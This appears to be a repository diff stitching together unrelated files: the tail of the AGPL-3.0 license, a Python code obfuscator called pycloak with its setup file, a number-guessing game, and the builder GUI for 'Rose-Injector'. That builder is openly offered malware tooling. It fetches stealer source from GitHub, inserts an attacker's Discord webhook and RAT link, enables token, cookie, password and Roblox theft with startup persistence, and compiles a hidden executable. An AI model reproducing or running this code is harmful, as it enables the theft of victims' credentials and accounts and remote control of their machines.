for which you have or can give appropriate copyright permission.
Notwithstanding any other provision of this License, for material you
add to a covered work, you may (if authorized by the copyright holders of
that material) supplement the terms of this License with terms:
a) Disclaiming warranty or limiting liability differently from the
terms of sections 15 and 16 of this License; or
b) Requiring preservation of specified reasonable legal notices or
author attributions in that material or in the Appropriate Legal
Notices displayed by works containing it; or
c) Prohibiting misrepresentation of the origin of that material, or
requiring that modified versions of such material be marked in
reasonable ways as different from the original version; or
d) Limiting the use for publicity purposes of names of licensors or
authors of the material; or
e) Declining to grant rights under trademark law for use of some
trade names, trademarks, or service marks; or
f) Requiring indemnification of licensors and authors of that
material by anyone who conveys the material (or modified versions of
it) with contractual assumptions of liability to the recipient, for
any liability that these contractual assumptions directly impose on
those licensors and authors.
All other non-permissive additional terms are considered "further
restrictions" within the meaning of section 10. If the Program as you
received it, or any part of it, contains a notice stating that it is
governed by this License along with a term that is a further
restriction, you may remove that term. If a license document contains
a further restriction but permits relicensing or conveying under this
License, you may add to a covered work material governed by the terms
of that license document, provided that the further restriction does
not survive such relicensing or conveying.
If you add terms to a covered work in accord with this section, you
must place, in the relevant source files, a statement of the
additional terms that apply to those files, or a notice indicating
where to find the applicable terms.
Additional terms, permissive or non-permissive, may be stated in the
form of a separately written license, or stated as exceptions;
the above requirements apply either way.
8. Termination.
You may not propagate or modify a covered work except as expressly
provided under this License. Any attempt otherwise to propagate or
modify it is void, and will automatically terminate your rights under
this License (including any patent licenses granted under the third
paragraph of section 11).
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly and
finally terminates your license, and (b) permanently, if the copyright
holder fails to notify you of the violation by some reasonable means
prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you have
received notice of violation of this License (for any work) from that
copyright holder, and you cure the violation prior to 30 days after
your receipt of the notice.
Termination of your rights under this section does not terminate the
licenses of parties who have received copies or rights from you under
this License. If your rights have been terminated and not permanently
reinstated, you do not qualify to receive new licenses for the same
material under section 10.
9. Acceptance Not Required for Having Copies.
You are not required to accept this License in order to receive or
run a copy of the Program. Ancillary propagation of a covered work
occurring solely as a consequence of using peer-to-peer transmission
to receive a copy likewise does not require acceptance. However,
nothing other than this License grants you permission to propagate or
modify any covered work. These actions infringe copyright if you do
not accept this License. Therefore, by modifying or propagating a
covered work, you indicate your acceptance of this License to do so.
10. Automatic Licensing of Downstream Recipients.
Each time you convey a covered work, the recipient automatically
receives a license from the original licensors, to run, modify and
propagate that work, subject to this License. You are not responsible
for enforcing compliance by third parties with this License.
An "entity transaction" is a transaction transferring control of an
organization, or substantially all assets of one, or subdividing an
organization, or merging organizations. If propagation of a covered
work results from an entity transaction, each party to that
transaction who receives a copy of the work also receives whatever
licenses to the work the party's predecessor in interest had or could
give under the previous paragraph, plus a right to possession of the
Corresponding Source of the work from the predecessor in interest, if
the predecessor has it or can get it with reasonable efforts.
You may not impose any further restrictions on the exercise of the
rights granted or affirmed under this License. For example, you may
not impose a license fee, royalty, or other charge for exercise of
rights granted under this License, and you may not initiate litigation
(including a cross-claim or counterclaim in a lawsuit) alleging that
any patent claim is infringed by making, using, selling, offering for
sale, or importing the Program or any portion of it.
11. Patents.
A "contributor" is a copyright holder who authorizes use under this
License of the Program or a work on which the Program is based. The
work thus licensed is called the contributor's "contributor version".
A contributor's "essential patent claims" are all patent claims
owned or controlled by the contributor, whether already acquired or
hereafter acquired, that would be infringed by some manner, permitted
by this License, of making, using, or selling its contributor version,
but do not include claims that would be infringed only as a
consequence of further modification of the contributor version. For
purposes of this definition, "control" includes the right to grant
patent sublicenses in a manner consistent with the requirements of
this License.
Each contributor grants you a non-exclusive, worldwide, royalty-free
patent license under the contributor's essential patent claims, to
make, use, sell, offer for sale, import and otherwise run, modify and
propagate the contents of its contributor version.
In the following three paragraphs, a "patent license" is any express
agreement or commitment, however denominated, not to enforce a patent
(such as an express permission to practice a patent or covenant not to
sue for patent infringement). To "grant" such a patent license to a
party means to make such an agreement or commitment not to enforce a
patent against the party.
If you convey a covered work, knowingly relying on a patent license,
and the Corresponding Source of the work is not available for anyone
to copy, free of charge and under the terms of this License, through a
publicly available network server or other readily accessible means,
then you must either (1) cause the Corresponding Source to be so
available, or (2) arrange to deprive yourself of the benefit of the
patent license for this particular work, or (3) arrange, in a manner
consistent with the requirements of this License, to extend the patent
license to downstream recipients. "Knowingly relying" means you have
actual knowledge that, but for the patent license, your conveying the
covered work in a country, or your recipient's use of the covered work
in a country, would infringe one or more identifiable patents in that
country that you have reason to believe are valid.
If, pursuant to or in connection with a single transaction or
arrangement, you convey, or propagate by procuring conveyance of, a
covered work, and grant a patent license to some of the parties
receiving the covered work authorizing them to use, propagate, modify
or convey a specific copy of the covered work, then the patent license
you grant is automatically extended to all recipients of the covered
work and works based on it.
A patent license is "discriminatory" if it does not include within
the scope of its coverage, prohibits the exercise of, or is
conditioned on the non-exercise of one or more of the rights that are
specifically granted under this License. You may not convey a covered
work if you are a party to an arrangement with a third party that is
in the business of distributing software, under which you make payment
to the third party based on the extent of your activity of conveying
the work, and under which the third party grants, to any of the
parties who would receive the covered work from you, a discriminatory
patent license (a) in connection with copies of the covered work
conveyed by you (or copies made from those copies), or (b) primarily
for and in connection with specific products or compilations that
contain the covered work, unless you entered into that arrangement,
or that patent license was granted, prior to 28 March 2007.
Nothing in this License shall be construed as excluding or limiting
any implied license or other defenses to infringement that may
otherwise be available to you under applicable patent law.
12. No Surrender of Others' Freedom.
If conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot convey a
covered work so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you may
not convey it at all. For example, if you agree to terms that obligate you
to collect a royalty for further conveying from those to whom you convey
the Program, the only way you could satisfy both those terms and this
License would be to refrain entirely from conveying the Program.
13. Remote Network Interaction; Use with the GNU General Public License.
Notwithstanding any other provision of this License, if you modify the
Program, your modified version must prominently offer all users
interacting with it remotely through a computer network (if your version
supports such interaction) an opportunity to receive the Corresponding
Source of your version by providing access to the Corresponding Source
from a network server at no charge, through some standard or customary
means of facilitating copying of software. This Corresponding Source
shall include the Corresponding Source for any work covered by version 3
of the GNU General Public License that is incorporated pursuant to the
following paragraph.
Notwithstanding any other provision of this License, you have
permission to link or combine any covered work with a work licensed
under version 3 of the GNU General Public License into a single
combined work, and to convey the resulting work. The terms of this
License will continue to apply to the part which is the covered work,
but the work with which it is combined will remain governed by version
3 of the GNU General Public License.
14. Revised Versions of this License.
The Free Software Foundation may publish revised and/or new versions of
the GNU Affero General Public License from time to time. Such new versions
will be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the
Program specifies that a certain numbered version of the GNU Affero General
Public License "or any later version" applies to it, you have the
option of following the terms and conditions either of that numbered
version or of any later version published by the Free Software
Foundation. If the Program does not specify a version number of the
GNU Affero General Public License, you may choose any version ever published
by the Free Software Foundation.
If the Program specifies that a proxy can decide which future
versions of the GNU Affero General Public License can be used, that proxy's
public statement of acceptance of a version permanently authorizes you
to choose that version for the Program.
Later license versions may give you additional or different
permissions. However, no additional obligations are imposed on any
author or copyright holder as a result of your choosing to follow a
later version.
15. Disclaimer of Warranty.
THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY
APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT
HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY
OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO,
THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM
IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF
ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
16. Limitation of Liability.
IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS
THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE
USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF
DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD
PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS),
EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF
SUCH DAMAGES.
17. Interpretation of Sections 15 and 16.
If the disclaimer of warranty and limitation of liability provided
above cannot be given local legal effect according to their terms,
reviewing courts shall apply local law that most closely approximates
an absolute waiver of all civil liability in connection with the
Program, unless a warranty or assumption of liability accompanies a
copy of the Program in return for a fee.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
state the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU Affero General Public License as published
by the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Affero General Public License for more details.
You should have received a copy of the GNU Affero General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
Also add information on how to contact you by electronic and paper mail.
If your software can interact with users remotely through a computer
network, you should also make sure that it provides a way for users to
get its source. For example, if your program is a web application, its
interface could display a "Source" link that leads users to an archive
of the code. There are many ways you could offer source, and different
solutions will be better for different programs; see section 13 for the
specific requirements.
You should also get your employer (if you work as a programmer) or school,
if any, to sign a "copyright disclaimer" for the program, if necessary.
For more information on this, and how to apply and follow the GNU AGPL, see
<https://www.gnu.org/licenses/>.

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,275 @@
import argparse
import ast
import base64
import builtins as __builtins__
import os
import random
import string
import colorama; colorama.init(convert=True)
__ALIASES__ = []
def main() -> None:
args = ParseArgs().args
with open(args.file, 'r', encoding='utf-8') as f:
code = f.read()
Logging.success(f'Loaded file {args.file}')
operations = [
Methods.alias_constants,
Methods.alias_funcs,
Methods.alias_vars,
Methods.alias_iterators,
Methods.alias_imports,
Methods.alias_builtins,
Methods.alias_strings(),
]
for operation in operations:
code = operation(code)
with open(args.output, 'w', encoding='utf-8') as f:
f.write(code)
Logging.success(f'Wrote file {args.output}')
class Methods:
def alias_builtins(code: str) -> str:
Logging.event('Aliasing builtins')
builtins = dir(__builtins__)
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Name):
if node.id in builtins:
if not node.id.startswith('__'):
Logging.debug(f'Aliased builtin {node.id}')
node.id = f'__builtins__.__dict__[\'{node.id}\']'
else :
Logging.debug(f'Aliased builtin {node.id}')
node.id = Methods.alias_builtins(f'eval(dir(__builtins__)[dir(__builtins__).index(\'{node.id}\')])')
return ast.unparse(tree)
def alias_constants(code: str) -> str:
Logging.event('Aliasing constants')
aliases = {
'True': '(()==())',
'False': '(()==[])',
'None': '(lambda: None)()',
}
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Constant):
if repr(node.value) in aliases:
code = code.replace(repr(node.value), aliases[repr(node.value)])
Logging.debug(f'Aliased \'{node.value}\' to \'{aliases[repr(node.value)]}\'')
return code
def alias_funcs(code: str) -> str:
Logging.event('Aliasing functions')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.FunctionDef):
alias = f'__{"".join(random.choices(string.digits, k=10))}__'
__ALIASES__.append((node.name, alias))
Logging.debug(f'Aliased function \'{node.name}\' to \'{alias}\'')
node.name = alias
elif isinstance(node, ast.Call):
for alias in __ALIASES__:
if isinstance(node.func, ast.Name):
if node.func.id == alias[0]:
node.func.id = alias[1]
Logging.debug(f'Aliased function call \'{alias[0]}\' to \'{alias[1]}\'')
return ast.unparse(tree)
def alias_vars(code: str) -> str:
Logging.event('Aliasing variables')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Assign):
for target in node.targets:
if isinstance(target, ast.Attribute):
continue
if isinstance(target, ast.Subscript):
continue
if isinstance(target, ast.Tuple):
for target in target.elts:
alias = f'__{"".join(random.choices(string.digits, k=10))}__'
__ALIASES__.append((target.id, alias))
Logging.debug(f'Aliased variable \'{target.id}\' to \'{alias}\'')
target.id = alias
else:
alias = f'__{"".join(random.choices(string.digits, k=10))}__'
__ALIASES__.append((target.id, alias))
Logging.debug(f'Aliased variable \'{target.id}\' to \'{alias}\'')
target.id = alias
elif isinstance(node, ast.Name):
for alias in __ALIASES__:
if node.id == alias[0]:
node.id = alias[1]
Logging.debug(f'Aliased variable \'{alias[0]}\' to \'{alias[1]}\'')
return ast.unparse(tree)
def alias_iterators(code: str) -> str:
Logging.event('Aliasing iterators')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.For):
if isinstance(node.target, ast.Tuple):
for target in node.target.elts:
alias = f'__{"".join(random.choices(string.digits, k=10))}__'
__ALIASES__.append((target.id, alias))
Logging.debug(f'Aliased iterator \'{target.id}\' to \'{alias}\'')
target.id = alias
else:
alias = f'__{"".join(random.choices(string.digits, k=10))}__'
__ALIASES__.append((node.target.id, alias))
Logging.debug(f'Aliased iterator \'{node.target.id}\' to \'{alias}\'')
node.target.id = alias
elif isinstance(node, ast.Name):
for alias in __ALIASES__:
if node.id == alias[0]:
node.id = alias[1]
Logging.debug(f'Aliased iterator \'{alias[0]}\' to \'{alias[1]}\'')
return ast.unparse(tree)
def alias_imports(code: str) -> str:
Logging.event('Aliasing imports')
imports = []
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Import):
for name in node.names:
imports.append(name.name)
elif isinstance(node, ast.ImportFrom):
for name in node.names:
imports.append((node.module, name.name))
code = code.splitlines()
for i, line in enumerate(code):
if line.startswith('import') or line.startswith('from'):
code[i] = ''
code = '\n'.join(code)
for imp in imports:
if isinstance(imp, tuple):
code = f'{imp[1]} = __builtins__.__dict__[\'__import__\'](\'{imp[0]}\').{imp[1]}\n' + code
Logging.debug(f'Aliased import \'{imp[0]}.{imp[1]}\'')
else:
code = f'{imp} = __builtins__.__dict__[\'__import__\'](\'{imp}\')\n' + code
Logging.debug(f'Aliased import \'{imp}\'')
return code
class alias_strings:
def b64_encode(self, string: str) -> str:
return '__builtins__.__dict__[\'__import__\'](\'base64\').b64decode(b\'{}\').decode(\'utf-8\')'.format(base64.b64encode(string.encode('utf-8')).decode('utf-8'))
def int_encode(self, num: int) -> str:
equation = ''
while num > 0:
equation += str(random.randint(1, num)) + ' + '
num -= int(equation.split(' + ')[-2])
num = equation[:-3]
char = random.choice(string.ascii_letters)
return '(lambda {char}: {char} + ({char} - {char}))({num})'.format(char=char, num=num)
def barray_encode(self, string: str) -> str:
return 'bytes([{}]).decode(\'utf-8\')'.format(', '.join([self.int_encode(ord(c)) for c in string]))
def __call__(self, code: str) -> str:
Logging.event('Aliasing strings')
Logging.event(' Base64 encoding strings')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Str):
code = code.replace(repr(node.s), self.b64_encode(node.s))
Logging.debug(f' Created Base64 encoding string \'{node.s}\'')
int_aliases = []
Logging.event(' Base64 encoding integers')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Num):
Logging.debug(f' Created Base64 encoding integer \'{node.n}\'')
number = node.n
temp = f'__TEMP__{"".join(random.choices(string.digits, k=10))}__'
node.n = temp
code = ast.unparse(tree)
int_aliases.append((temp, number))
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Str):
if node.s in [i[0] for i in int_aliases]:
for alias in int_aliases:
if node.s == alias[0]:
code = code.replace(repr(node.s), f'int({self.b64_encode(str(alias[1]))})')
Logging.debug(f' Aliased integer \'{alias[1]}\' to \'{node.s}\'')
Logging.event(' Creating byte arrays')
tree = ast.parse(code)
for node in ast.walk(tree):
if isinstance(node, ast.Str):
code = code.replace(repr(node.s), self.barray_encode(node.s))
Logging.debug(f' Created byte array for string \'{node.s}\'')
return code
class Logging:
def event(msg: str):
print(f'{colorama.Fore.MAGENTA}[EVENT] {msg}{colorama.Style.RESET_ALL}')
def info(msg: str):
print(f'{colorama.Fore.BLUE}[INFO] {msg}{colorama.Style.RESET_ALL}')
def debug(msg: str):
args = ParseArgs().args
if args.debug:
print(f'{colorama.Fore.YELLOW}[DEBUG] {msg}{colorama.Style.RESET_ALL}')
def success(msg: str):
print(f'{colorama.Fore.GREEN}[SUCCESS] {msg}{colorama.Style.RESET_ALL}')
def error(msg: str):
print(f'{colorama.Fore.RED}[ERROR] {msg}{colorama.Style.RESET_ALL}')
class ParseArgs:
def __init__(self):
self.parser = argparse.ArgumentParser(description='Obfuscate Python code')
self.parser.add_argument('file', help='File to obfuscate')
self.parser.add_argument('-o', '--output', help='Output file')
self.parser.add_argument('-d', '--debug', action='store_true', help='Enable debug logging')
self.args = self.parser.parse_args()
if not os.path.isfile(self.args.file):
Logging.error(f'File \'{self.args.file}\' does not exist')
exit(1)
if not self.args.output:
self.args.output = self.args.file + '.obf.py'
Logging.info(f'No output file specified, using \'{self.args.output}\'')

View File

@@ -0,0 +1 @@
colorama

View File

@@ -0,0 +1,35 @@
from setuptools import setup, find_packages
with open("README.md", "r", encoding="utf-8") as f:
__long_description__ = f.read()
with open("requirements.txt", "r", encoding="utf-8") as f:
__requirements__ = f.read()
__name__ = 'pycloak'
__version__ = '0.1.0'
__author__ = 'addi00000'
__author_email__ = 'addidix@proton.me'
__short_description__ = 'Python 3.x source code obfuscator for hiding and protecting production code.'
__url__ = 'https://github.com/addi00000/pycloak'
__license__ = 'AGPL-3.0'
setup(
name=__name__,
version=__version__,
author=__author__,
author_email=__author_email__,
description=__short_description__,
long_description=__long_description__,
long_description_content_type="text/markdown",
url=__url__,
license=__license__,
packages=find_packages(),
python_requires='>=3.6',
install_requires=[__requirements__],
entry_points={
'console_scripts': [
'pycloak = pycloak.main:main',
],
},
)

View File

@@ -0,0 +1,28 @@
import random
guesses_made = 0
name = input('Hello! What is your name?\n')
number = random.randint(1, 20)
print ('Well, {0}, I am thinking of a number between 1 and 20.'.format(name))
while guesses_made < 6:
guess = int(input('Take a guess: '))
guesses_made += 1
if guess < number:
print ('Your guess is too low.')
if guess > number:
print ('Your guess is too high.')
if guess == number:
break
if guess == number:
print ('Good job, {0}! You guessed my number in {1} guesses!'.format(name, guesses_made))
else:
print ('Nope. The number I was thinking of was {0}'.format(number))

File diff suppressed because one or more lines are too long

View File

@@ -0,0 +1,511 @@
# Main GUI for Rose-Injector made by @suegdu and @xpierroz
# Follow the comments on each, for guiding.
__version__ = 1.0
__repo__ = "https://github.com/DamagingRose/Rose-Injector/"
__icon__ = "https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/components/readme/$rose-wh.png"
import requests
import os
import webbrowser
import shutil
import ctypes
from bs4 import BeautifulSoup
from pathlib import Path
from dhooks import Webhook, Embed
from PyQt5 import QtCore, QtGui, QtWidgets
from PyQt5.QtCore import QRunnable, QThreadPool, QObject, pyqtSignal as Signal
def auto_update():
_code = (
"https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/components/tools/rose_builder.pyw"
)
code = requests.get(_code, timeout=10).text
with open(__file__, "r", encoding="utf-8") as f:
main_code = f.read()
if code != main_code:
f = ctypes.windll.user32.MessageBoxW(
0,
"A new version has been detected.\nWould you like to automatically update?",
"Rose Injector",
4
)
if f == 6:
with open(__file__, "w", encoding="utf-8") as f:
f.write(code)
os.startfile(__file__)
os._exit(0)
class Signals(QObject):
create_dirc = Signal()
make_reqc = Signal()
edit_configc = Signal()
compilec = Signal()
move_dirc = Signal()
build_done = Signal()
class Runnable(QRunnable):
def __init__(self, n, webhook_url):
super().__init__()
self.n = n
self.webhook_url = webhook_url
def run(self):
hook = Webhook(self.webhook_url)
embed = Embed(
description='Webhook is Working',
color=11795068,
timestamp="now"
)
embed.set_author(name="Success", icon_url=__icon__)
embed.set_footer(text="Rose Builder | By pierro, suegdu, Gumbobrot, svn", icon_url=__icon__)
hook.send(embed=embed)
class Runnable_wf(QRunnable):
def __init__(
self, n,
dir_name,
webhook_url,
rat_checked,
rat_link,
is_startup,
is_injection,
is_tokensteal,
is_cookiesteal,
is_passwordsteal,
is_malicioussteal,
is_locationssteal,
is_robloxsteal
):
super().__init__()
self.signals = Signals()
self.n = n
self.dir_name = dir_name
self.webhook_url = webhook_url
self.rat_checked = rat_checked
self.rat_link = rat_link
self.is_startup = is_startup
self.is_injection = is_injection
self.is_tokensteal = is_tokensteal
self.is_cookiesteal = is_cookiesteal
self.is_passwordsteal = is_passwordsteal
self.is_malicioussteal = is_malicioussteal
self.is_locationssteal = is_locationssteal
self.is_robloxsteal = is_robloxsteal
def create_dir(self):
self.path = f"{Path(__file__).resolve().parent}\\{self.dir_name}"
os.mkdir(self.path)
def make_req(self):
page = requests.get('https://github.com/DamagingRose/Rose-Injector/tree/main/source').text
soup = BeautifulSoup(page, 'html.parser')
allFiles = [link.text for link in soup.find_all('a') if link['href'] == f"/DamagingRose/Rose-Injector/blob/main/source/{link.text}" ]
for file in allFiles:
text = requests.get(f"https://raw.githubusercontent.com/DamagingRose/Rose-Injector/main/source/{file}").text
with open(f"{self.path}\\{file}","w",encoding="utf-8") as f:
f.write(str(text))
def edit_config(self):
with open(f"{self.path}\\config.py","r",encoding="utf-8") as f:
text = f.read()
new = text.replace("VMHOOK", f"{self.webhook_url}").replace("WEBHOOK_URL", f"{self.webhook_url}").replace("discord_rat = False", f"discord_rat = {str(self.rat_checked)}").replace("DISCORD_RAT_SOCKET_LINK", f"{self.rat_link}").replace("startup = False", f"startup = {self.is_startup}").replace("self.injection = False", f"self.injection = {self.is_injection}").replace("self.token_stealing = False", f"self.token_stealing = {self.is_tokensteal}").replace("cookie_stealing = False", f"cookie_stealing = {self.is_cookiesteal}").replace("password_stealing = False", f"password_stealing = {self.is_passwordsteal}").replace("malicious_stealing = False", f"malicious_stealing = {self.is_malicioussteal}").replace("location_stealing = False", f"location_stealing = {self.is_locationssteal}").replace("roblox_stealing = False", f"roblox_stealing = {self.is_robloxsteal}")
print(new)
with open(f"{self.path}\\config.py", "w", encoding="utf-8") as f:
f.write(new)
dir_list = os.listdir(self.path)
for file in dir_list:
with open(f"{self.path}\\{file}", "r", encoding="utf-8") as f:
text = f.read()
new = text.replace("from configuration", f"from config")
with open(f"{self.path}\\{file}", "w", encoding="utf-8") as f:
f.write(new)
def compile(self):
os.system(f'python -m PyInstaller "{self.path}/main.py" --noconsole --onefile')
def move_dir(self):
shutil.move(f"dist\\main.exe", f"{self.dir_name}.exe")
shutil.rmtree('build')
shutil.rmtree('dist')
os.remove(f"main.spec")
def run(self):
try:
self.signals.create_dirc.emit()
self.create_dir()
self.signals.make_reqc.emit()
self.make_req()
self.signals.edit_configc.emit()
self.edit_config()
self.signals.compilec.emit()
self.compile()
self.signals.move_dirc.emit()
self.move_dir()
self.signals.build_done.emit()
except Exception as e:
print(e)
class Ui_MainWindow_vailB(object):
# This is the final shape of builder's gui and it is not linked to any functions with builder's functionality. -suegdu 3/11/2023
def setupUi(self, MainWindow_vailB):
MainWindow_vailB.setObjectName("MainWindow_vailB")
MainWindow_vailB.resize(741, 420)
icon = QtGui.QIcon()
icon.addPixmap(QtGui.QPixmap("./tools/rose.png"), QtGui.QIcon.Normal, QtGui.QIcon.Off) # Will check for the icon within the current running directory. If not then it will be the default Windows executable icon. -suegdu
MainWindow_vailB.setWindowIcon(icon)
MainWindow_vailB.setStatusTip("")
self.centralwidget = QtWidgets.QWidget(MainWindow_vailB)
self.centralwidget.setObjectName("centralwidget")
self.tabWidget = QtWidgets.QTabWidget(self.centralwidget)
self.tabWidget.setGeometry(QtCore.QRect(10, 10, 721, 391))
self.tabWidget.setObjectName("tabWidget")
self.tab_builder = QtWidgets.QWidget()
self.tab_builder.setObjectName("tab_builder")
self.groupBox_6 = QtWidgets.QGroupBox(self.tab_builder)
self.groupBox_6.setGeometry(QtCore.QRect(10, 10, 691, 331))
self.groupBox_6.setObjectName("groupBox_6")
self.LE_webhook_url = QtWidgets.QLineEdit(self.groupBox_6)
self.LE_webhook_url.setGeometry(QtCore.QRect(230, 20, 181, 20))
self.LE_webhook_url.setObjectName("LE_webhook_url")
self.label_2 = QtWidgets.QLabel(self.groupBox_6)
self.label_2.setGeometry(QtCore.QRect(150, 20, 82, 20))
self.label_2.setObjectName("label_2")
self.dir_name_input = QtWidgets.QLineEdit(self.groupBox_6)
self.dir_name_input.setGeometry(QtCore.QRect(230, 42, 181, 20))
self.dir_name_input.setObjectName("dir_name_input")
self.dir_name = QtWidgets.QLabel(self.groupBox_6)
self.dir_name.setGeometry(QtCore.QRect(150, 40, 100, 20))
self.dir_name.setObjectName("dir_name")
self.B_build = QtWidgets.QPushButton(self.groupBox_6)
self.B_build.setGeometry(QtCore.QRect(20, 20, 111, 31))
self.B_build.setObjectName("B_build")
self.B_testhook = QtWidgets.QPushButton(self.groupBox_6)
self.B_testhook.setGeometry(QtCore.QRect(20, 60, 111, 31))
self.B_testhook.setObjectName("B_testhook")
self.groupBox_7 = QtWidgets.QGroupBox(self.groupBox_6)
self.groupBox_7.setGeometry(QtCore.QRect(20, 100, 281, 211))
self.groupBox_7.setObjectName("groupBox_7")
self.console_0 = QtWidgets.QTextBrowser(self.groupBox_7)
self.console_0.setGeometry(QtCore.QRect(20, 20, 241, 171))
self.console_0.setObjectName("console_0")
self.groupBox_8 = QtWidgets.QGroupBox(self.groupBox_6)
self.groupBox_8.setGeometry(QtCore.QRect(430, 10, 251, 301))
self.groupBox_8.setObjectName("groupBox_8")
self.CB_startup = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_startup.setGeometry(QtCore.QRect(20, 20, 70, 17))
self.CB_startup.setObjectName("CB_startup")
self.CB_injection = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_injection.setGeometry(QtCore.QRect(20, 40, 70, 17))
self.CB_injection.setObjectName("CB_injection")
self.CB_tokensteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_tokensteal.setGeometry(QtCore.QRect(20, 60, 101, 17))
self.CB_tokensteal.setObjectName("CB_tokensteal")
self.CB_cookiesteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_cookiesteal.setGeometry(QtCore.QRect(20, 80, 101, 17))
self.CB_cookiesteal.setObjectName("CB_cookiesteal")
self.CB_passsteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_passsteal.setGeometry(QtCore.QRect(20, 100, 161, 17))
self.CB_passsteal.setObjectName("CB_passsteal")
self.CB_malicioussteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_malicioussteal.setGeometry(QtCore.QRect(20, 120, 161, 17))
self.CB_malicioussteal.setObjectName("CB_malicioussteal")
self.CB_locationsteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_locationsteal.setGeometry(QtCore.QRect(110, 20, 70, 17))
self.CB_locationsteal.setObjectName("CB_locationsteal")
self.CB_robloxsteal = QtWidgets.QCheckBox(self.groupBox_8)
self.CB_robloxsteal.setGeometry(QtCore.QRect(110, 40, 70, 17))
self.CB_robloxsteal.setObjectName("CB_robloxsteal")
self.groupBox_10 = QtWidgets.QGroupBox(self.groupBox_8)
self.groupBox_10.setGeometry(QtCore.QRect(10, 210, 231, 81))
self.groupBox_10.setObjectName("groupBox_10")
self.comboBox = QtWidgets.QComboBox(self.groupBox_10)
self.comboBox.setGeometry(QtCore.QRect(10, 50, 211, 22))
self.comboBox.setObjectName("comboBox")
self.comboBox.addItem("")
self.comboBox.addItem("")
self.groupBox_ratsec = QtWidgets.QGroupBox(self.groupBox_8)
self.groupBox_ratsec.setGeometry(QtCore.QRect(10, 140, 231, 71))
self.groupBox_ratsec.setObjectName("groupBox_ratsec")
self.CB_rat = QtWidgets.QCheckBox(self.groupBox_ratsec)
self.CB_rat.setGeometry(QtCore.QRect(10, 20, 161, 17))
self.radioButton = QtWidgets.QRadioButton(self.groupBox_10)
self.radioButton.setGeometry(QtCore.QRect(10, 20, 82, 17))
self.radioButton.setObjectName("radioButton")
self.LE_ratsserver = QtWidgets.QLineEdit(self.groupBox_ratsec)
self.LE_ratsserver.setGeometry(QtCore.QRect(72, 40, 151, 20))
self.LE_ratsserver.setObjectName("LE_ratsserver")
self.label = QtWidgets.QLabel(self.groupBox_ratsec)
self.label.setGeometry(QtCore.QRect(10, 40, 71, 16))
self.label.setObjectName("label")
self.CB_rat.setObjectName("CB_rat")
#self.comboBox.hide()
self.ping = QtWidgets.QCheckBox(self.groupBox_10)
self.ping.setGeometry(QtCore.QRect(10, 20, 82, 17))
self.ping.setObjectName("ping")
self.progressBar = QtWidgets.QProgressBar(self.groupBox_6)
self.progressBar.setGeometry(QtCore.QRect(230, 70, 181, 20))
self.progressBar.setProperty("value", 0)
self.progressBar.setTextVisible(False)
self.progressBar.setObjectName("progressBar")
self.B_clearconsole = QtWidgets.QPushButton(self.groupBox_6)
